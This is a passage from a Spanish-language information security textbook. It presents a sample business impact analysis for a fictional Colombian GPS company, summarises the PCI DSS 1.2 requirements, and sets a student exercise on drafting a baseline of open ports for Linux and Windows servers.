de negocio con secuencia del subproceso, calificacin ninguno, bajo, medio, alto, valor del impacto
financiero del proceso.

Impacto operacional (imagen ante el cliente) Identificado por el proceso o la unidad de negocio: Se
tabula cada subproceso del proceso o unidad de negocio con secuencia del subproceso, calificacin
de ninguno, bajo, medio y alto

58

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

Impacto legal identificado por cada proceso: Se tabula cada subproceso del proceso o unidad de
negocio con secuencia del subproceso, calificacin ninguno, bajo, medio, alto, valor del
costo/comisiones.

Resumen y conclusiones del proceso evaluado: Se debe enunciar cual es el subproceso ms crtico
en orden de impacto y sobre todo cules son los reportes ms vulnerables.

Parte III: Grficos de Impactos

Impacto Financiero combinado: En forma grafica se debe mostrar da a da la perdida financiera, se


debe describir cual es el valor del primer da, la primera semana y el mes. Resume como ocurren
los impactos y desde que procesos, subprocesos o unidades de negocio se originan.

Impacto operacional Combinado: generalmente el impacto operacional es un intangible, y tienen


que ver con la moral de los empleados, el valor de la accin si se cotiza en bolsa, el flujo de trabajo
y finalmente el servicio al cliente.

Impacto combinado legal/regulacin: El impacto Legal y de regulacin tiene que ver con las
obligaciones para con las agencias de vigilancia, organizaciones y clientes con los cuales las
unidades de negocio deben cumplir obligaciones contractuales. Incluye los deberes para con las
entidades de vigilancia gubernamental, contratos y niveles de servicio pactados con clientes,
vendedores y agencias.

Requerimientos de personal para recuperacin

Complejidad de recuperacin por unidad de negocio o subproceso: La complejidad de recuperacin


es la medida de cun difcil es la recuperacin de la unidad de negocio a los niveles de servicio
pactados despus de un prolongado tiempo de desastre.

Durante el proceso de entrevistas del BIA a cada unidad de negocio o proceso se le debe encuestar
sobre que rango pertenece segn la siguiente lista:

Fcilmente Recuperable Los procesos que tengan procedimientos manuales de


recuperacin, locaciones alternas para poder trabajar, tecnologa y estrategias de recuperacin
caen en este rango
Razonablemente recuperable Algunas necesidades pueden ser difcilmente de reemplazar
en un tiempo razonable.
Difcilmente recuperable Muchas de las necesidades esenciales de la unidad de negocio
pueden ser difciles de reemplazar en un tiempo razonable
Muy difcil recuperacin Existen numerosos elementos muy difciles de reemplazar o el
tiempo de recuperacin es muy largo.

Parte IV: Solucin

Propuesta de solucin: Generalmente se recomienda una alternativa de computo remoto, se debe


describir la estrategia recomendada

Conclusiones Finales: Lista una serie de actividades y sus recursos respectivos necesarios para
disminuir el impacto

59

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

7.2.

Prctica: Diseo e implementacin de un anlisis de impacto del negocio

Problemtica a resolver:

La empresa ficticia GPS de Colombia se acaba de ganar un millonario contrato con las fuerzas
militares de colombia y desean contratar una compaa consultora en seguridad informtica que les
disee e implemente un BIA para construir un plan de continuidad de negocios.
Usted como proveedor de consultoria en seguridad de la informacin (globalteksecurity) ha sido
seleccionado para resolver este problema y debe entregar un documento en formato Word con los
formularios utilizados para las entrevistas asi como el informe del BIA para iniciar el plan de
continuidad del negocio de GPS de Colombia que mitigue el riesgo catastrfico.
Todos los valores deben ser expresados en dlares americanos
GPS de Colombia le administrar a las fuerzas militares la ubicacin de cada una de las naves
medienta un GPS instalado en cada nave, y mediante un portal web le permitir a las fuerzas ubicar
el recurso logistico

Objetivo de la prtica:

Generar una plantilla de cmo hacer un BIA


Estimar el impacto financiero, el impacto operativo, el impacto de no dar atencin al cliente, el
impacto legal de la organizacin sobre las unidades del negocio asumiendo el peor de los
escenarios.
Estimar el nmero de personal requerido para la operacin de recuperacin,
Identificar las funciones crticas del negocio, las unidades de negocios y estimar el Recovery Time
Objectives o RTO para cada unidad del negocio.
Simular con los procesos mas genricos de una organizacin un BIA
Generar los formularios o cuestionarios para los dueos de los procesos y pblicarlos en una
intranet con algn CMS como Joomla

Pasos:
Terminologa utilizada en este documento
BIA - Business Impact Analysis: Es el proceso de identificar las funciones criticas del negocio para
determinar el impacto cuando estas funciones no se pueden ejecutar para la continuidad del negocio debido
a un desastre
Procesos del negocio - Business Processes: Consiste de las tareas y actividades diarias que deben ser
completadas para producir un servicio o producto final. Un proceso de negocio es parte de una funcin
corporativa global.
Unidad del negocio - Business Unit: Es una unidad organizacional dentro de la empresa. (Para el
propsito de este documento es lo mismo que un departamento, por ejemplo el departamento de
contabilidad, rea tcnica, etc)
Impacto - Impact: Cualquier resultado que causa retardos, interrupciones o cese de actividades en las
operaciones del negocio. El impacto puede estar asociado a prdidas financieras, perdidas operacionales,
mala atencin al cliente, perdidas por problemas legales o de regulacin por parte de entidades de vigilancia
Redundancia - Redundancia: Es tener recursos adicionales disponibles en paralelo para el caso en que los
recursos crticos primarios fallen.
Analisis de riesgos - Risk Assessment: Es el proceso de identificar y evaluar los peligros y riesgos que
estn presentes en los activos analizando las vulnerabilidades que amenazan la continuidad del negocio.
RTO:
Recovery Time Objective: Es el mximo tiempo permitido que un proceso puede estar cado como
consecuencia de un evento catastrfico.
RPO:
Recovery Point Objective: Primeros datos que permiten volver a ofrecer el servicio. Identificar si
para la recuperacin del proceso que se haya visto afectado se necesita disponer de la informacin que se
tena justo antes de que sucediera el incidente, o si, por el contrario, se puede utilizar la informacin anterior
(hasta qu Momento: una hora, un da, dos...)

60

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

Revisiones de este documento


Versin

Descripcin del cambio

Capitulo,
seccion, Pagina

Revisado por

Fecha

Figura 1-31: Revisin del documento ejemplo.

Revision Ejecutiva
Objetivos
La intencin del Business Impact Analysis (BIA) fue identificar las unidades organizacionales, las operaciones
y los procesos que son cruciales para la supervivencia del negocio. El BIA ha identificado los tiempos en que
las operaciones esenciales deben ser restauradas luego que un evento perjudicial o catastrfico haya
sucedido.
Este mtodo ha definido el impacto en el negocio al no ejecutarse las operaciones crticas basadas en el peor
escenario. Adems ha identificado los recursos requeridos para que se cumplan los niveles de servicios
mnimos pactados.
El peor escenario asume que la infraestructura fsica que soporta cada unidad del negocio ha sido destruida y
todos los registros, equipos, y dems recursos no son accesibles durante mximo 30 das.
Los objetivos del BIA fueron:





Estimar el impacto financiero, el impacto operativo, el impacto de no dar atencin al cliente, el


impacto legal de la organizacin GPS de Colombia sobre las unidades del negocio asumiendo el
peor de los escenarios.
Estimar el nmero de personal requerido para la operacin de recuperacin
Identificar las funciones crticas del negocio, las unidades de negocios, y estimar el Recovery Time
Objectives o RTO para cada unidad del negocio.

Para este proyecto BIA los niveles de RTO fueron:


Nivel RTO
1
2
3
4
5
6
7
8
9

Intervalo
Recuperacion
0 24 Horas
24 48 Horas
48 - 72 Horas
3 6 Das
1 Semana
2 Semanas
3 Semanas
1 Mes
+1 Mes

de

Figura 1-32: RTO del ejemplo.


Estos intervalos deben ser reevaluados para conocer o encontrar los requerimientos de las capacidades de
recuperacin de la tecnologa. Si las capacidades de la tecnologa no conocen los requerimientos de las
unidades del negocio entonces una brecha o vacio existe. Esta brecha debe mitigarse para prevenir que se
extienda e impacte a la organizacion GPS de Colombia

61

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

Alcance
El alcance para la organizacion GPS de Colombia
tcnicas:

incluye las siguientes unidades de negocio tcnicas y no

Contabilidad
Marketing
Operaciones
Soporte Tcnico y desarrollo
Seguridad Fsica
Recursos Humanos

Nos enfocamos en las unidades de negocios localizadas en Bogota. Todas las unidades de negocios,
procesos, tecnologa, personas, etc residentes en este sitio fsico, fueron examinados con el permiso previo y
por escrito de la organizacin GPS de Colombia.

Enfoque Utilizado
Para iniciar el proceso de BIA en la organizacion GPS de Colombia se elaboro un cuestionario electrnico
que fue distribuido a todas las unidades de negocios. Una vez se recibi el cuestionario se entrevisto
personalmente a cada responsable de cada unidad de negocio.
El propsito del cuestionario y de la entrevista fue identificar procesos crticos de negocios, estimar el tiempo
de recuperacin, estimar los recursos y los requerimientos para determinar si se podran aplicar
procedimientos manuales. Se identifico un estimado para el impacto financiero, el impacto operativo, el
impacto en los clientes y finalmente el impacto legal.
El grupo encargado del proyecto BIA encuesto a 5 unidades del negocio de la organizacion GPS de
Colombia durante el mes de febrero de 2008. Las entrevistas se condujeron por Armando Carvajal,
especialista en planes de contingencia de Globaltek Security.

Respuestas de los departamentos y resultados


La informacin conseguida a nivel detallado por el equipo BIA muestra el resultado con un alto nivel de
revisin de cada unidad de negocio. Para ver ms nivel de detalle de las entrevistas por favor revise los
anexos para cada unidad de negocio. Los reportes estn tal cual como fueron capturados de las entrevistas.
Resultados de las unidades de negocios
Contabilidad
El departamento de contabilidad es responsable de todos los registros contables, Pagos de cuentas,
facturacin pago de impuestos, presupuestos, adquisicin de capitales y presentacin de estados financieros.
Este departamento no provee productos y servicios directamente al cliente.
La entrevista la condujo Armando Carvajal el 20 de febrero de 2008. Se entrevisto al seor Juan perez
responsable de la administracin del departamento de contabilidad. El siguiente proceso de negocios
muestra los requerimientos identificados y definidos durante el proceso de BIA.
Proceso de negocio y RTO (Recovery Time Objective)
Nombre del proceso de
negocio

Nomina e impuestos de
nomina

Pago a proveedores

Descripcion del proceso

Cada dos semanas se procesa la nomina con sus impuestos


respectivos. Los pagos se hacen en lnea va la transferencia a una
cuenta bancaria. Los pagos se hacen el da lunes cada dos
semanas.
Es responsable de coordinar el pago de todas las cuentas e
imprimir los cheques y transferir los fondos. Todas las factures son
pagadas va electrnica a menos que el proveedor desee el pago en

62

RTO

1 Dia

3 Dias

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

forma manual.

Manejo de presupuestos

Instrucciones financieras

Adquisicion de inversions y
capitales

Registros contables

Facturacion

Mensualmente el presupuesto es procesado para cada unidad de


negocio. La revisin anual ocurre en junio. Durante este tiempo se
preparan los presupuestos para la aprobacin por cada unidad de
negocio.

7 Dias

Responsable de correlacionar los libros mayores cerrndolos cada


fin de mes.

3 Dias

Coordina, aprueba, hace seguimiento de las adquisiciones de


prstamos financieros de la organizacin La GPS de Colombia.

3 Dias

Responsable de todos los registros contables para ser presentados


segn las leyes contables del gobierno.

30 Dias

Responsable por emitir las factures que genera el rea de ventas,


proveedores de servicios, adquisicin de compras, manejo de
activos, etc

Figura 1-33: Proceso de negocio y RTO.

63

1 Dia

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

Recursos requeridos por cada proceso de negocio


Nombre del proceso

Applicacion /
Software de
escritorio

Equipamiento

4 Compaq PC
Fax
Telfono
Impresora de
cheques
2 Compaq PC
Fax
Telefono
Calculadora
Impresora de
cheques
1 Compaq PC
Impresora
2 Compaq PC
Papel de alta
calidad
Archivador de
documentos
financieros

Registros Vitales
/ Reportes

Personas
Requeridas1

Ordenes de pedidos
de vendedores
Unidad compartida
(E: Drive)

1 Persona

Ordenes de pagos
mensuales Unidad
compartida
(G: Drive)

1 Persona

Nomina e impuestos de
nomina

Aplicativo de
nomina
Excel
Microsoft Access

Pago a proveedores

Aplicativo de
cuentas por pagar
Microsoft Excel
Microsoft Outlook
Intranet / Internet

Manejo de
presupuestos

Budget Pro Plus

Instrucciones
financieras

Finance 101

Adquisicion de
inversiones y capitales

Microsoft Access

1 HP laptop

Registros contables

Corporate AP

1 HP Desktop

N/A

2 Personas

Facturacion

Aplicacion de
facturacion

1 HP Desktop

Ordenes de pedidos
de vendedores

1 Persona

Plantilla de
presupuestos

Registro de ordenes
financieras

2 Personas

N/A

Figura 1-34: Recursos requeridos por cada proceso de negocio.

1
El numero de personal de recuperacin por da representa el numero recurso interno que la unidad de negocio puede requerir para
soportar la operacin esencial cuando ocurra el desastre.

64

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

Procedimientos manuales de recuperacin

Proceso
negocio

Nomina e
impuestos de
nomina

Pago a
proveedores

Manejo de
presupuestos

Instrucciones
financieras

Adquisicin de
inversiones y
capitales

Registros
contables

Facturacin

de

Procedimiento manual de solucin

Actualmente no se ha implementado una


solucin manual para el pago de nomina. La
nomina depende 100% del sistema de pago de
nomina.
La documentacin impresa puede ser usada en
el evento de no tener sistema.
Se puede hacer manualmente en algn formato
pre impreso o planilla de contingencia pero
luego los datos deben ser ingresados al
sistema.
Se puede hacer manualmente en algn formato
pre impreso o planilla de contingencia pero
luego los datos deben ser ingresados al
sistema.
Se puede hacer manualmente en algn formato
pre impreso o planilla de contingencia pero
luego los datos deben ser ingresados al
sistema.
Se puede hacer manualmente en algn formato
pre impreso o planilla de contingencia pero
luego los datos deben ser ingresados al
sistema.
Se puede facturar manualmente en papel pre
impreso de contingencia pero algunos clientes
crticos como las fuerzas armadas solo aceptan
facturacin electrnica debido a la retencin de
impuestos por ser grandes contribuyentes.

Figura 1-35: Procedimientos manuales de recuperacin.

65

% que se
puede hacer
manualmente

RPO

0%

0 Das

65%

1 Semana

100%

1 Mes

100%

1 Mes

100%

1 Mes

100%

1 Mes

65%

1 Semana

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

Impacto financiero identificado por cada proceso


Nombre del proceso de
negocio

Ninguno

Bajo

Medio

Alto

Potencial
Financiero

de

Impacto

Nomina e impuestos de
nomina

Pago a proveedores

Manejo de presupuestos

N/A

N/A

N/A

Instrucciones financieras
Adquisicion de inversiones
y capitales
Registros contables

Facturacion

N/A
$150,000 / Dia, $4.5
millones mensuales




$1.5 millones en retardos de


nomina
$25,000 semanales

Notas: N/A indica No Aplica.

Figura 1-36: Impacto financiero identificado por cada proceso.


Impacto operacional (imagen ante el cliente) Identificado por la unidad de negocio
Impacto
1
2
3
4
5
6
7
8

Ninguno

Flujo de trabajo

Reputacion de la compania





Moral de los empleados


Ventajas competitivas




Renunia de empleados
Otro

Medio


Servicio al cliente
Valor de la accion en bolsa de valores /
Market Share

Bajo




Figura 1-37: Impacto operacional por cada unidad de negocio.

66

Alto

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

Impacto legal identificado por cada proceso


Nombre del proceso

1
2
3
4
5
6
7

Ninguno

Bajo

Medio

Nomina e impuestos de
nomina

Pago a proveedores
Manejo de presupuestos
Instrucciones financieras

Costos y comisiones
$350,000 / Caso /
comisiones
$25,000 por contrato

N/A

N/A

Adquisicion de inversiones
y capitales

$25,000 comisiones legales


por no cumplir los contratos

Registros contables
Facturacion

Alto




$25,000 por violacin y no


cumplimiento de la ley
N/A

Figura 1-38: Impacto legal por cada proceso.

Conclusiones del BIA







El estado crtico de de la contabilidad puede durar en promedio hasta 6 das antes de tener un
impacto importante en la organizacion GPS de Colombia .
Hay reportes contables que pueden ser extremadamente vulnerables en una interrupcin del
negocio especficamente en las cuentas por pagar a proveedores y la nomina de empleados.
Existen reportes contables que pueden ser excepcionalmente difciles de implementar manualmente
para el pago de nomina.
La generacin de cheques manuales pueden ser producidos pero incrementan los gastos financieros

En esta parte se deben detallar el resto de procesos/departamentos

Resumen y conclusiones gerenciales


Este reporte tiene la intencin de presentar a la alta administracin de la organizacin un resumen de las
prdidas potenciales que se pueden presentar en las unidades de negocio si sus servicios no estn
disponibles por un periodo de tiempo.
Este documento provee una coleccin resumida del impacto que afecta las unidades de negocio de La
organizacion GPS de Colombia
Esta informacin puede ser aplicada para justificar e implementar las
estrategias de recuperacin y prevencin que se requieren para recuperarse en los tiempos objetivos que
decida la organizacin.
Impacto Financiero combinado
La siguiente figura muestra el impacto financiero combinado reportado por las unidades de negocio de la
organizacin GPS de Colombia:
Nota: No todas las unidades de negocios impactan financieramente a la compaa.

67

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

Impacto Financiero Combinado


160
140
120
100
Millones80
60
40
20
0

6 7
Dias

14 21 28 30

Figura 1-39: Grfico Impacto Combinado ejemplo BIA.


El reporte combinado impactara financieramente a la organizacion GPS de Colombia
en $5.4 Millones
para el primer da ($38.2 millones por semana) hasta aproximadamente $154 Millones el da 30. La mayor
cantidad de impacto financiero viene de Operaciones, soporte Tcnico y Desarrollo al no poder ejecutar sus
funciones del negocio
Basados en los resultados de las encuestas la mayor exposicin financiera se incrementa considerablemente
de los das 7 al 14 y en seguida se incrementa a un mayor desastre.
Impacto operacional Combinado
El impacto Operacional (Cliente) es un intangible y no puede ser cuantificado directamente.

Impacto Operacional
Otros

Renuncia del empl


Ventajas competitivas
Moral del empleado
Reputacion de la cia
Valor de la accion
Servicio al cliente
Flujo de trabajo
0

0.5

1.5

2.5

0:Ninguno, 1:Bajo, 2:Medio, 3:Alto

Figura 1-40: Grfico Impacto Operacional ejemplo BIA.

68

3.5

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

El flujo de trabajo y el servicio al cliente es claramente la prioridad de La organizacion GPS de Colombia


como se muestra en la grafica, todas las unidades de negocio se preocupan por la moral del empleado
durante una situacin de desastre.

Impacto combinado legal/regulacion


El impacto Legal y de regulacin tiene que ver con las obligaciones para con las agencias de vigilancia,
organizaciones y clientes con los cuales las unidades de negocio deben cumplir obligaciones contractuales.
Incluye los deberes para con las entidades de vigilancia gubernamental, contratos y niveles de servicio
pactados con clientes, vendedores y agencias.

Impacto legal/regulacion
Soporte tecnico

500,000

Almacen

68,750

Desarrollo

200,000

Recurso humano
Operaciones

1,500,000
25,000

Marketing
Contabilidad

25,000

105,000

325,000

625,000

925,000

1,225,000

1,525,000

Impacto Potencial semanal


Figura 1-41: Grfico Impacto combinado legal/regulacin ejemplo BIA.
De la grafica anterior se puede concluir que la unidad organizacional Operaciones tiene el mayor impacto
por el no cumplimiento de los temas contractuales y esto genera responsabilidad civil legal as como las
regulaciones por hacer negocios con las fuerzas militares, este impacto se estimo como el costo potencial de
litigar contra el estado (gobierno) y esto genera una serie de multas y honorarios legales.

Requerimientos de personal para recuperacin


Esta tabla resume los requerimientos para la organizacion GPS de Colombia

69

por cada unidad de negocio:

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

Personas necesarias al pasar el tiempo


350
340

346

330

342
342

320
338

310
300
290

312

334

334

334

334

309

280
270
260
250
1

14

21

28

Figura 1-42: Grfico personas necesarias ejemplo BIA.


De la grafica anterior, se puede ver que la demanda de personal en un mes de catstrofe es muy alta. Es
altamente recomendable que La organizacion GPS de Colombia implemente alternativas y procedimientos
con personal temporal para cuando ocurra un desastre. Inicialmente la planta de personal es de 50 personas
y este estudio muestra un crecimiento de hasta 346 personas para final de mes durante una catstrofe.
Entonces es muy critico que ocurra un desastre total pues la carga de personal se crece en forma abrupta y
podra cerrar la organizacin por pura incapacidad econmica y de recursos

Complejidad de recuperacin por unidad de negocio


La complejidad de recuperacin es la medida de cuan difcil es la recuperacin de la unidad de negocio a los
niveles de servicio pactados despus de un prolongado tiempo de desastre. Durante el proceso de
entrevistas del BIA a cada unidad de negocio se le encuesto a que rango perteneca de la siguiente lista:

Fcilmente Recuperable Los procesos que tengan procedimientos manuales de


recuperacin, locaciones alternas para poder trabajar, tecnologa y estrategias de recuperacin
caen en este rango
Razonablemente recuperable Algunas necesidades pueden ser difcilmente de reemplazar
en un tiempo razonable.
Difcilmente recuperable Muchas de las necesidades esenciales de la unidad de negocio
pueden ser difciles de reemplazar en un tiempo razonable
Muy difcil recuperacin Existen numerosos elementos muy difciles de reemplazar o el
tiempo de recuperacin es muy largo

70

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

Los resultados fueron analizados y compilados en el siguiente grafico:

Facilmente
Recuperable
18%

Muy dificil
recuperable
46%
Razonablemente
Recuperable
27%
Dificilmente
recuperable
9%
Todas las unidades de negocio
Facilmente
recuperable

Razonablemente
recuperable

Dificilmente
recuperable

Soporte tenico

Contabilidad

Seguridad

Materiales Boards

Marketing

Muy difcil
Recuperable
Operaciones
Laboratorios

Recursos Humanos

Almacn
Desarrollo

Figura 1-43: Grfico facilidad de recuperacin ejemplo BIA.


Se nota que los departamentos que son difciles de recuperar son los directamente responsables de la
atencin al cliente. Se recomienda que cada departamento estandarice los procesos de operacin para
documentar manualmente los procesos directamente asociados a las operaciones.

Propuesta de solucin

Se recomienda un Hot Site: Dado que las fuerzas armadas estarn consultando el portal web para saber
en cada momento donde est la flota armada, la organizacion GPS de Colombia debe tener un centro de
computo paralelo en otra ciudad, de tal forma que un dato grabado en los servidores Windows 2000 del
centro de computo local debe sincronizarse de forma inmediata con el centro de computo paralelo.
Cuando ocurra una catstrofe en mximo un da el sistema paralelo tendr la informacin al da para ser
consultada y actualizada.
Esta estrategia es desde el punto de vista de la seguridad, la mejor de todas porque minimiza el tiempo de
inactividad de un proceso, pero a su vez, es la que requiere una mayor inversin, porque comporta disponer
de todos los equipos comprados actualizados y configurados para poder utilizarlos de forma automtica o en
pocas horas. Tambin necesitar disponer de personal con conocimientos y documentacin ajustada y que
refleje la situacin real de la organizacin.
Por su elevado coste, esta estrategia est destinada a procesos muy crticos como operaciones que no
pueden estar inactivos mucho tiempo, por lo que, generalmente, no se puede realizar el volcado de la
informacin en el momento de la contingencia: un hot site requiere estar continuamente sincronizado.

71

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

Conclusiones Finales

La principal preocupacin es el alto nivel de impacto financiero en los ingresos y la no muy buena atencin
que se les pueda dar a los clientes claves como las fuerzas armadas que impactan muy fuertemente los
ingresos de la organizacin.
Debido a la deficiencia en alta disponibilidad o infraestructura redundante el grupo del proyecto BIA hace las
siguientes recomendaciones para la organizacin GPS de Colombia:
Recomendaciones mandatorias

Recursos

Identifique individuos para los esfuerzos de planeacin de contingencias

1 de cada
departamento

Desarrolle estrategias de planes de contingencias

2 semanas

Revise con el proveedor de Hot Site los tiempos de recuperacin

2 a 3 personas

Compromtase en el anlisis de aplicaciones y su datos crticos

4 semanas

Desarrolle planes de recuperacin para departamentos tcnicos y no tecnicos

3 meses

Trabaje con vendedores de planes de recuperacin de desastres para centros de datos

3 meses

Identifique vas para reducir riesgos e impactos a la organizacin

2 meses

Figura 1-44: Recomendaciones del BIA ejemplo.

7.3.

Bibliografa

Maestra en seguridad informtica UOC, ing. Daniel Cruz Allende, www.uoc.edu, 2008, Espaa
ISO www.iso.org
Compendio, Sistema de gestin de la seguridad de la informaci (SGSI), Icontec, 2006, ISBN 978958-9383-69-8
Conferencia en ACIS dictada por M&M auditores de Colombia LTDA,
http://www.acis.org.co/fileadmin/Conferencias/ConferenciaBCP.pdf
www.drii.org orientada a la recuperacin de desastres.
www.thebci.org orientada al BCM o administracin de la continuidad del negocio.

72

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

8.0 Cumplimieno de la norma PCI


Esta seccin tiene como objetivo preparar al lector para comportarse como un auditor de la norma PCI DSS
1.2 y busca que el consultor pueda medir el grado de cumplimiento de la misma. La referencia bibliogrfica
[1] es muy recomendable pues describe el PCI DSS como: was developed to encourage and enhance
cardholder data security and facility the broad adoption of consistent data security measures globally. [1]
Tomado del documento PCI DSS Requirements and security Assessment Procedures, v1.2 de octubre 3 de
2008, pgina 3.
La norma PCI o Payment Card Industries fue fundada y desarrollada por las empresas master card, visa,
american express, discover financial services y JCB international, el PCI Data Security Standard (DSS)
conforma un amplio conjunto de requisitos para mejorar la seguridad en los medios de pago denominados
medios de plagos plsticos como son las tarjetas debito y crdito.
El PCI DSS es un polifactico estndar de seguridad de la informacin que incluye requisitos para la gestin
de la seguridad, las polticas, procedimientos, arquitectura de red, diseo de software y otras medidas de
proteccin crticas para el secor financiero.
Esta norma o estndar tiene por objeto ayudar a las organizaciones en general a proteger de manera
proactiva los datos de los clientes del sector financiero a nivel mundial.
A la fecha de este documento la norma PCI DSS va en la versin 1.2, esta versin nace en octubre 1 de
2008 como una actualizacin de la versin PCI DSS ver 1.1, esta primera versin 1.1 venci en su aplicacin
el 31 de diciembre de 2008 y ahora se debe aplicar la versin 1.2.
La organizacin central que anivel mundial controla la evolucin de este estndar se llama PCI Security
Standards Council (https://www.pcisecuritystandards.org)

8.1. Requisitos de la norma:


Requisito 1: Instalar y mantener una configuracin del servidor firewall para proteger a los titulares de
tarjetas de datos
Requisito 2: No utilice datos suministrados por proveedores como el sistema de contraseas y otros
parmetros de seguridad para proteger los datos del titular de la tarjeta
Requisito 3: Proteger los datos almacenados del titular de la tarjeta (cifrado)
Requisito 4: Cifrar la transmisin de datos cuando se usen redes pblicas para mantener un programa de
gestin de las vulnerabilidades
Requisito 5: Usar y actualizar peridicamente el software anti-virus
Requisito 6: Desarrollar y mantener sistemas de seguridad y aplicaciones para aplicar fuertes medidas de
control de acceso
Requisito 7: Restringir el acceso a los titulares de tarjetas de datos por tipo de negocio
Requisito 8: Asignar un nmero de identificacin exclusivo a cada persona con acceso a computadoras
Requisito 9: Restringir el acceso fsico a los titulares de tarjetas de datos para supervisar peridicamente y
poner a prueba las redes
Requisito 10: Seguir y controlar todos los accesos a recursos de red y tarjeta de datos
Requisito 11: Pruebe peridicamente los sistemas de seguridad y procesos para mantener una poltica de
seguridad de la informacin
Requisito 12: Mantener una poltica que aborde la seguridad de la informacin

73

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

Recomendaciones:

8.2.

Un intersante resmen y exploracin de cmo abordar la norma se encuentra en el documento


Normas de Seguridad de Datos de la Industria de Tarjetas de Pago (PCI DSS),
Exploracin de PCI DSS [2].
Se recomienda leer profundamente este documento porque muestra por cada requerimiento como
abordar los controles, se anexa al final de este documento.
Se debe elaborar un ensayo sobre el documento The Prioritized Approach to Pursue PCI DSS
Compliance relacionado en la bibliografa de este capitulo. [3].

Prctica: Diseo de una lnea base de puertos abiertos para anlisis de vulnerabilidades

Problemtica a resolver:

La empresa ficticia Cooperativa de Crdito Credifcil debe cumplir con la norma PCI DSS 1.2 dado
que acepta pagos de sus afiliados por medio de tarjetas dbito y crdito en todas sus oficinas
Especificamente desea construir una lnea base por cada sistema operativo para que luego cuando
se haga el anlisis de vulnerabilidades se puedan confrontar los puertos abiertos de la lnea base
con los puertos abiertos de la exploracin de vulnerabilidades
Usted como proveedor de consultoria en seguridad de la informacin (globalteksecurity) ha sido
seleccionado para resolver este problema y debe entregar dos documentos en formato Word con la
propuesta de la lnea base para dos tipos de sistemas operativos

Objetivo de la prtica:

Generar una plantilla de cmo hacer una lne base de confrontacin de puertos abiertos
Generar una lnea base de puertos abiertos y sustentarla para un servidor Linux
Generar una lnea base de puertos abiertos y sustentarla para un servidor Windows
El alumno debe diligenciar cada campo que no este relleno como por ejemplo en autores, se debe
escribir el nombre del alumno. El IP de cada servidor aparece en blanco para que alumno lo
diligencie para el ejemplo simulado

Desarrollo de la plantilla:
Titulo: Lnea base de puertos abiertos en servidores crticos del negocio
Empresa: Cooperativa de Crdito Credifcil
Autores:
Revisiones de este documento
Versin

Descripcin del cambio

Capitulo,
seccion, Pagina

Revisado por

Fecha

Definicin: Una lnea base es un concepto de gestin de la configuracin del SW que lleva a controlar los
cambios sin impedir seriamente los cambios justificados. El Instituto de Ingenieros Elctricos y Electrnicos
(IEEE) 610.12/1990 define una lnea base como:

Una especificacin o producto que se ha revisado formalmente y sobre los que se ha llegado a un
acuerdo, y que de ah en adelante sirve como base para un desarrollo posterior y que puede
cambiarse solamente a travs de procedimientos formales de control de cambios.

La siguiente lista de puertos para cada IP propone una lnea base para auditar contra cada anlisis
de vulnerabilidades que se requiera en el futuro para cumplir PCI o cualquier otro estndar de
seguridad informtica:

74

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

IP Elemento Activo de
Red

Roles y aplicativos con requerimiento


funcional
Informix (Linux)

Sistema operativo:

Nombre:

Mac Address:

Puerto que debe estar abierto y


justificacin

IP=

Servidor de
(Windows)
IP=

IP=

correo

Lotus

Domino

Sistema operativo:
Servidor web:
Nombre:
Mac Address:
Grupo de trabajo:

El servidor de logs (Windows)

Sistema operativo:

Servidor web:

Nombre: Mac Address:


Grupo de trabajo:
Motor de base de datos DB2 (Linux)

IP=

Sistema operativo: Linux


Servidor web:
Nombre:
Mac Address:
Grupo de trabajo:

Active Directory (Windows)

Sistema operativo: W2K3


Servidor web:
Nombre:
Mac Address:
Grupo de trabajo:

75

25/tcp SMTP Lotus

IP=

22/tcp SSH para sesiones


remotas seguras.
Para el servidor de bases
de datos informix
para
5989/tcp
wbem-https
administrar
el
servidor
remotamente.
No se deben permitir usuarios
annimos.
No se deben permitir sesiones
nulas.
No
debe
responder
a
requerimientos de ping o ICMP
Request para evitar el ataque
de ping de la muerte.
Ningn otro puerto debe estar
abierto para el servidor de
bases de datos informix.

53/udp DNS.
53/tcp DNS.
88 kerberos autenticacion de
usuarios Kerberos.
135/tcp epmap Microsoft RPC.
137/udp resolucin de nombres
netbios.
139/tcp Netbios sesiones de
usuarios
para
compartir
impresoras y archivos.
389/tcp LDAP para Microsoft
AD.
445/tcp
Microsoft-DS
para
compartir
archivos
e
impresoras.
464/tcp
kpasswd
Kerberos
passwords.
593/tcp http-rpc-epmap.
636/tcp ldaps LDAP Seguro de
Microsoft Active Directory.
1026/tcp cap DCE/RPC.

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

Servidor de BD Oracle (Microsoft)

Sistema operativo:

Servidor web:

Nombre:

Mac Address:

Grupo de trabajo:

IP=

Servidor de Archivos Microsoft (NO FTP)


(Windows).

Sistema operativo:

Servidor web:

Nombre:

Mac Address:

Grupo de trabajo:

IP=

Pgina WEB (Linux)

Sistema operativo:

Servidor web:

Nombre:

Mac Address:

IP=

IP=

VMWare

ESXI (Linux)
Sistema operativo:
Servidor web:
Nombre:
Mac Address:

1027/tcp
exosee
COM+
Internet Services (CIS).
1055/tcp ansyslmd DCE/RPC.
1103/tcp adobeserver-2.
1105/tcp ftranhc DCE/RPC.
1282/tcp emperion.
1680/tcp microcom-sbp.
1957/tcp unix-status.
3389/tcp RDP terminal server
para escritorio remoto.
3269/tcp msft-gc-ssl.
3268/tcp msft-gc.
43189/tcp ndm-agent-port.
No se deben permitir usuarios
annimos.
No se deben permitir sesiones
nulas.
No
debe
responder
a
requerimientos de ping o ICMP
Request para evitar el ataque
de ping de la muerte.
No deben estar abiertos los
puertos:
1720/tcp h323hostcall.
1863/tcp msnp.

22/tcp SSH para


remotas seguras.

